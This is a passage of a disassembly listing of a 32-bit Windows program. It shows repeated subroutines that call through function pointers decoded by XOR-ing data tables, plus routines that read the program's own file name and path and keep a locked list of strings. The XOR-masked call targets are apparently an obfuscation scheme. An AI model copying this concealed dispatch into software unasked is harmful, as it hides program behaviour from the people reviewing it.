ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4B2C23 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4B2D20 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004EDC2Co var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 0DDh mov [ebp+var_2C], 0B2h mov [ebp+var_28], 20h mov [ebp+var_24], 88h mov [ebp+var_20], 26h mov [ebp+var_1C], 31h mov [ebp+var_18], 68h mov [ebp+var_14], 11h mov [ebp+var_10], 0Eh mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 0Eh and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4B2DB1 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4B2DB1: ; CODE XREF: sub_4B2D20+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4B2D20 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4B2E1D proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004EDC30o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 4Bh mov [ebp+var_2C], 0D8h mov [ebp+var_28], 1Eh mov [ebp+var_24], 90h mov [ebp+var_20], 99h mov [ebp+var_1C], 6Dh mov [ebp+var_18], 7Ah mov [ebp+var_14], 78h mov [ebp+var_10], 7 mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 7 and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4B2EAE mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4B2EAE: ; CODE XREF: sub_4B2E1D+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4B2E1D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4B2F1A proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004EDC34o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 9Fh mov [ebp+var_2C], 2Ah mov [ebp+var_28], 7 mov [ebp+var_24], 0BFh mov [ebp+var_20], 0 mov [ebp+var_1C], 0Ch mov [ebp+var_18], 0B9h mov [ebp+var_14], 8Ah mov [ebp+var_10], 13h mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 13h and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4B2FAB mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4B2FAB: ; CODE XREF: sub_4B2F1A+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4B2F1A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4B3017 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004EDC38o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 0DDh mov [ebp+var_2C], 9Fh mov [ebp+var_28], 0F9h mov [ebp+var_24], 0D1h mov [ebp+var_20], 0E5h mov [ebp+var_1C], 1 mov [ebp+var_18], 82h mov [ebp+var_14], 87h mov [ebp+var_10], 10h mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 10h and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4B30A8 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4B30A8: ; CODE XREF: sub_4B3017+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4B3017 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4B3114 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004EDC3Co var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 7Dh mov [ebp+var_2C], 33h mov [ebp+var_28], 1Bh mov [ebp+var_24], 0DCh mov [ebp+var_20], 0D3h mov [ebp+var_1C], 3Ah mov [ebp+var_18], 0F6h mov [ebp+var_14], 20h mov [ebp+var_10], 0Dh mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 0Dh and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4B31A5 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4B31A5: ; CODE XREF: sub_4B3114+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4B3114 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4B3211 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004EDC40o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 0CFh mov [ebp+var_2C], 0B7h mov [ebp+var_28], 0CCh mov [ebp+var_24], 3Ah mov [ebp+var_20], 0D0h mov [ebp+var_1C], 80h mov [ebp+var_18], 0D3h mov [ebp+var_14], 93h mov [ebp+var_10], 11h mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 11h and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4B32A2 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4B32A2: ; CODE XREF: sub_4B3211+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4B3211 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4B3310 proc near ; DATA XREF: .data:004ED290o push ebp mov ebp, esp call sub_4B331A pop ebp retn sub_4B3310 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4B331A proc near ; CODE XREF: sub_4B3310+3p push ebp mov ebp, esp mov ecx, offset dword_4F3AD8 call sub_4B3329 pop ebp retn sub_4B331A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4B3329 proc near ; CODE XREF: sub_4B331A+8p var_328 = dword ptr -328h Source = dword ptr -324h var_320 = dword ptr -320h var_31C = dword ptr -31Ch var_318 = dword ptr -318h Str = byte ptr -314h var_313 = byte ptr -313h var_210 = dword ptr -210h var_20C = word ptr -20Ch var_20A = byte ptr -20Ah var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 328h push edi mov [ebp+var_318], ecx mov eax, [ebp+var_318] mov dword ptr [eax+4], 0 mov ecx, [ebp+var_318] mov dword ptr [ecx], 0 mov edx, [ebp+var_318] mov dword ptr [edx+0Ch], 0 mov eax, [ebp+var_318] mov dword ptr [eax+8], 0 mov ecx, [ebp+var_318] add ecx, 10h push ecx call dword_4ED1B4 ; InitializeCriticalSection call dword_4ED1B8 ; GetCurrentProcessId mov edx, [ebp+var_318] mov [edx+28h], eax call sub_4B36BD and eax, 0FFh test eax, eax jz loc_4B351B mov ax, word_4F4124 mov [ebp+var_20C], ax mov ecx, 81h xor eax, eax lea edi, [ebp+var_20A] rep stosd stosw push 104h lea ecx, [ebp+var_20C] push ecx push 0 call dword_4ED1BC ; GetModuleFileNameW push 5Ch ; Ch lea edx, [ebp+var_20C] push edx ; Str call _wcsrchr add esp, 8 mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_4B33F7 mov eax, [ebp+var_4] add eax, 2 mov [ebp+var_31C], eax jmp short loc_4B3403 ; --------------------------------------------------------------------------- loc_4B33F7: ; CODE XREF: sub_4B3329+BEj lea ecx, [ebp+var_20C] mov [ebp+var_31C], ecx loc_4B3403: ; CODE XREF: sub_4B3329+CCj mov edx, [ebp+var_31C] push edx ; Source mov eax, [ebp+var_318] add eax, 234h push eax ; Dest call _wcscpy add esp, 8 push 2Eh ; Ch mov ecx, [ebp+var_318] add ecx, 234h push ecx ; Str call _wcschr add esp, 8 mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_4B3446 mov edx, [ebp+var_4] mov word ptr [edx], 0 loc_4B3446: ; CODE XREF: sub_4B3329+113j push 104h mov eax, [ebp+var_318] add eax, 43Ch push eax push 0 call dword_4ED1BC ; GetModuleFileNameW push 104h lea ecx, [ebp+var_20C] push ecx mov edx, [ebp+var_318] add edx, 43Ch push edx call dword_4ED1C0 ; GetShortPathNameW test eax, eax jz short loc_4B34FC push 5Ch ; Ch lea eax, [ebp+var_20C] push eax ; Str call _wcsrchr add esp, 8 mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_4B34AA mov ecx, [ebp+var_4] add ecx, 2 mov [ebp+var_320], ecx jmp short loc_4B34B6 ; --------------------------------------------------------------------------- loc_4B34AA: ; CODE XREF: sub_4B3329+171j lea edx, [ebp+var_20C] mov [ebp+var_320], edx loc_4B34B6: ; CODE XREF: sub_4B3329+17Fj mov eax, [ebp+var_320] push eax ; Source mov ecx, [ebp+var_318] add ecx, 43Ch push ecx ; Dest call _wcscpy add esp, 8 push 2Eh ; Ch mov edx, [ebp+var_318] add edx, 43Ch push edx ; Str call _wcschr add esp, 8 mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_4B34FA mov eax, [ebp+var_4] mov word ptr [eax], 0 loc_4B34FA: ; CODE XREF: sub_4B3329+1C7j jmp short loc_4B3516 ; --------------------------------------------------------------------------- loc_4B34FC: ; CODE XREF: sub_4B3329+157j push offset word_4F4124 ; Source mov ecx, [ebp+var_318] add ecx, 43Ch push ecx ; Dest call _wcscpy add esp, 8 loc_4B3516: ; CODE XREF: sub_4B3329:loc_4B34FAj jmp loc_4B36B2 ; --------------------------------------------------------------------------- loc_4B351B: ; CODE XREF: sub_4B3329+6Ej mov dl, byte_4F4120 mov [ebp+Str], dl mov ecx, 40h xor eax, eax lea edi, [ebp+var_313] rep stosd stosw stosb push 104h lea eax, [ebp+Str] push eax push 0 call dword_4ED1C4 ; GetModuleFileNameA push 5Ch ; Ch lea ecx, [ebp+Str] push ecx ; Str call _strrchr_0 add esp, 8 mov [ebp+var_210], eax cmp [ebp+var_210], 0 jz short loc_4B357E mov edx, [ebp+var_210] add edx, 1 mov [ebp+Source], edx jmp short loc_4B358A ; --------------------------------------------------------------------------- loc_4B357E: ; CODE XREF: sub_4B3329+242j lea eax, [ebp+Str] mov [ebp+Source], eax loc_4B358A: ; CODE XREF: sub_4B3329+253j mov ecx, [ebp+Source] push ecx ; Source mov edx, [ebp+var_318] add edx, 2Ch push edx ; Dest call _strcpy_0 add esp, 8 push 2Eh ; Val mov eax, [ebp+var_318] add eax, 2Ch push eax ; Str call _strchr_0 add esp, 8 mov [ebp+var_210], eax cmp [ebp+var_210], 0 jz short loc_4B35CF mov ecx, [ebp+var_210] mov byte ptr [ecx], 0 loc_4B35CF: ; CODE XREF: sub_4B3329+29Bj push 104h mov edx, [ebp+var_318] add edx, 130h push edx push 0 call dword_4ED1C4 ; GetModuleFileNameA push 104h lea eax, [ebp+Str] push eax mov ecx, [ebp+var_318] add ecx, 130h push ecx call dword_4ED1CC ; GetShortPathNameA test eax, eax jz loc_4B3699 push 5Ch ; Ch lea edx, [ebp+Str] push edx ; Str call _strrchr_0 add esp, 8 mov [ebp+var_210], eax cmp [ebp+var_210], 0 jz short loc_4B3641 mov eax, [ebp+var_210] add eax, 1 mov [ebp+var_328], eax jmp short loc_4B364D ; --------------------------------------------------------------------------- loc_4B3641: ; CODE XREF: sub_4B3329+305j lea ecx, [ebp+Str] mov [ebp+var_328], ecx loc_4B364D: ; CODE XREF: sub_4B3329+316j mov edx, [ebp+var_328] push edx ; Source mov eax, [ebp+var_318] add eax, 130h push eax ; Dest call _strcpy_0 add esp, 8 push 2Eh ; Val mov ecx, [ebp+var_318] add ecx, 130h push ecx ; Str call _strchr_0 add esp, 8 mov [ebp+var_210], eax cmp [ebp+var_210], 0 jz short loc_4B3697 mov edx, [ebp+var_210] mov byte ptr [edx], 0 loc_4B3697: ; CODE XREF: sub_4B3329+363j jmp short loc_4B36B2 ; --------------------------------------------------------------------------- loc_4B3699: ; CODE XREF: sub_4B3329+2E1j push offset byte_4F4120 ; Source mov eax, [ebp+var_318] add eax, 130h push eax ; Dest call _strcpy_0 add esp, 8 loc_4B36B2: ; CODE XREF: sub_4B3329:loc_4B3516j ; sub_4B3329:loc_4B3697j mov eax, [ebp+var_318] pop edi mov esp, ebp pop ebp retn sub_4B3329 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4B36BD proc near ; CODE XREF: sub_4B3329+62p ; sub_4B3AFF+116p ... var_94 = dword ptr -94h var_84 = dword ptr -84h push ebp mov ebp, esp sub esp, 94h xor eax, eax mov al, byte_4F411D test eax, eax jnz short loc_4B3701 mov [ebp+var_94], 94h lea ecx, [ebp+var_94] push ecx call dword_4ED1B0 ; GetVersionExA xor edx, edx cmp [ebp+var_84], 2 setz dl mov byte_4F411C, dl mov byte_4F411D, 1 loc_4B3701: ; CODE XREF: sub_4B36BD+12j mov al, byte_4F411C mov esp, ebp pop ebp retn sub_4B36BD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __stdcall sub_4B370A(char *Str) sub_4B370A proc near ; CODE XREF: sub_4B40C4+328p ; sub_4B40C4+425p var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 Str = dword ptr 8 push ebp mov ebp, esp sub esp, 14h mov [ebp+var_10], ecx mov eax, [ebp+var_10] add eax, 10h push eax call dword_4ED1A8 ; RtlEnterCriticalSection push 0Ch call sub_4C85E1 add esp, 4 mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_4B3784 mov ecx, [ebp+var_8] mov dword ptr [ecx+4], 0 mov edx, [ebp+Str] push edx ; Str call _strlen_0 add esp, 4 add eax, 1 push eax call sub_4C85E1 add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_8] mov ecx, [ebp+var_C] mov [eax], ecx mov edx, [ebp+Str] push edx ; Source mov eax, [ebp+var_8] mov ecx, [eax] push ecx ; Dest call _strcpy_0 add esp, 8 mov edx, [ebp+var_8] mov dword ptr [edx+8], 0 mov eax, [ebp+var_8] mov [ebp+var_14], eax jmp short loc_4B378B ; --------------------------------------------------------------------------- loc_4B3784: ; CODE XREF: sub_4B370A+27j mov [ebp+var_14], 0 loc_4B378B: ; CODE XREF: sub_4B370A+78j mov ecx, [ebp+var_14] mov [ebp+var_4], ecx mov edx, [ebp+var_10] cmp dword ptr [edx+0Ch], 0 jnz short loc_4B37AE mov eax, [ebp+var_10] mov ecx, [ebp+var_4] mov [eax+0Ch], ecx mov edx, [ebp+var_10] mov eax, [ebp+var_4] mov [edx+8], eax jmp short loc_4B37C9 ; --------------------------------------------------------------------------- loc_4B37AE: ; CODE XREF: sub_4B370A+8Ej mov ecx, [ebp+var_10] mov edx, [ecx+0Ch] mov eax, [ebp+var_4] mov [edx+8], eax mov ecx, [ebp+var_10] mov edx, [ecx+0Ch] mov eax, [ebp+var_10] mov ecx, [edx+8] mov [eax+0Ch], ecx loc_4B37C9: ; CODE XREF: sub_4B370A+A2j mov edx, [ebp+var_10] add edx, 10h push edx call dword_4ED1AC ; RtlLeaveCriticalSection mov esp, ebp pop ebp retn 4 sub_4B370A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __stdcall sub_4B37DC(char *Dest,size_t Count) sub_4B37DC proc near ; CODE XREF: sub_4B3AFF+269p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = byte ptr -4 Dest = dword ptr 8 Count = dword ptr 0Ch push ebp mov ebp, esp sub esp, 20h mov [ebp+var_1C], ecx mov eax, [ebp+var_1C] add eax, 10h push eax call dword_4ED1A8 ; RtlEnterCriticalSection mov [ebp+var_4], 0 mov ecx, [ebp+var_1C] cmp dword ptr [ecx+8], 0 jz loc_4B38BD mov edx, [ebp+var_1C] mov eax, [edx+8] mov [ebp+var_8], eax mov ecx, [ebp+var_1C] mov edx, [ebp+var_8] mov eax, [edx+8] mov [ecx+8], eax mov ecx, [ebp+var_1C] cmp dword ptr [ecx+8], 0 jnz short loc_4B382B mov edx, [ebp+var_1C] mov dword ptr [edx+0Ch], 0 loc_4B382B: ; CODE XREF: sub_4B37DC+43j cmp [ebp+Dest], 0 jz short loc_4B3857 cmp [ebp+Count], 0 jle short loc_4B3857 mov eax, [ebp+Count] push eax ; Count mov ecx, [ebp+var_8] mov edx, [ecx] push edx ; Source mov eax, [ebp+Dest] push eax ; Dest call _strncpy_0 add esp, 0Ch mov ecx, [ebp+Dest] add ecx, [ebp+Count] mov byte ptr [ecx-1], 0 loc_4B3857: ; CODE XREF: sub_4B37DC+53j ; sub_4B37DC+59j mov edx, [ebp+var_8] mov [ebp+var_10], edx mov eax, [ebp+var_10] mov [ebp+var_C], eax cmp [ebp+var_C], 0 jz short loc_4B38B2 mov ecx, [ebp+var_C] mov edx, [ecx] mov [ebp+var_14], edx mov eax, [ebp+var_14] push eax call sub_4C85D6 add esp, 4 mov ecx, [ebp+var_C] mov edx, [ecx+4] mov [ebp+var_18], edx mov eax, [ebp+var_18] push eax call sub_4C85D6 add esp, 4 mov ecx, 1 and ecx, 1 test ecx, ecx jz short loc_4B38AA mov edx, [ebp+var_C] push edx call sub_4C85D6 add esp, 4 loc_4B38AA: ; CODE XREF: sub_4B37DC+C0j mov eax, [ebp+var_C] mov [ebp+var_20], eax jmp short loc_4B38B9 ; --------------------------------------------------------------------------- loc_4B38B2: ; CODE XREF: sub_4B37DC+8Bj mov [ebp+var_20], 0 loc_4B38B9: ; CODE XREF: sub_4B37DC+D4j mov [ebp+var_4], 1 loc_4B38BD: ; CODE XREF: sub_4B37DC+21j mov ecx, [ebp+var_1C] add ecx, 10h push ecx call dword_4ED1AC ; RtlLeaveCriticalSection mov al, [ebp+var_4] mov esp, ebp pop ebp retn 8 sub_4B37DC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __stdcall sub_4B38D3(wchar_t *Str) sub_4B38D3 proc near ; CODE XREF: sub_4B40C4+2FBp ; sub_4B40C4+3F2p var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 Str = dword ptr 8 push ebp mov ebp, esp sub esp, 14h mov [ebp+var_10], ecx mov eax, [ebp+var_10] add eax, 10h push eax call dword_4ED1A8 ; RtlEnterCriticalSection push 0Ch call sub_4C85E1 add esp, 4 mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_4B394F mov ecx, [ebp+var_8] mov dword ptr [ecx], 0 mov edx, [ebp+Str] push edx ; Str call _wcslen_0 add esp, 4 lea eax, [eax+eax+2] push eax call sub_4C85E1 add esp, 4 mov [ebp+var_C], eax mov ecx, [ebp+var_8] mov edx, [ebp+var_C] mov [ecx+4], edx mov eax, [ebp+Str] push eax ; Source mov ecx, [ebp+var_8] mov edx, [ecx+4] push edx ; Dest call _wcscpy add esp, 8 mov eax, [ebp+var_8] mov dword ptr [eax+8], 0 mov ecx, [ebp+var_8] mov [ebp+var_14], ecx jmp short loc_4B3956 ; --------------------------------------------------------------------------- loc_4B394F: ; CODE XREF: sub_4B38D3+27j mov [ebp+var_14], 0 loc_4B3956: ; CODE XREF: sub_4B38D3+7Aj mov edx, [ebp+var_14] mov [ebp+var_4], edx mov eax, [ebp+var_10] cmp dword ptr [eax+0Ch], 0 jnz short loc_4B3979 mov ecx, [ebp+var_10] mov edx, [ebp+var_4] mov [ecx+0Ch], edx mov eax, [ebp+var_10] mov ecx, [ebp+var_4] mov [eax+8], ecx jmp short loc_4B3994 ; --------------------------------------------------------------------------- loc_4B3979: ; CODE XREF: sub_4B38D3+90j mov edx, [ebp+var_10] mov eax, [edx+0Ch] mov ecx, [ebp+var_4] mov [eax+8], ecx mov edx, [ebp+var_10] mov eax, [edx+0Ch] mov ecx, [ebp+var_10] mov edx, [eax+8] mov [ecx+0Ch], edx loc_4B3994: ; CODE XREF: sub_4B38D3+A4j mov eax, [ebp+var_10] add eax, 10h push eax call dword_4ED1AC ; RtlLeaveCriticalSection mov esp, ebp pop ebp retn 4 sub_4B38D3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __stdcall sub_4B39A7(wchar_t *Dest,size_t Count) sub_4B39A7 proc near ; CODE XREF: sub_4B3AFF+136p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword 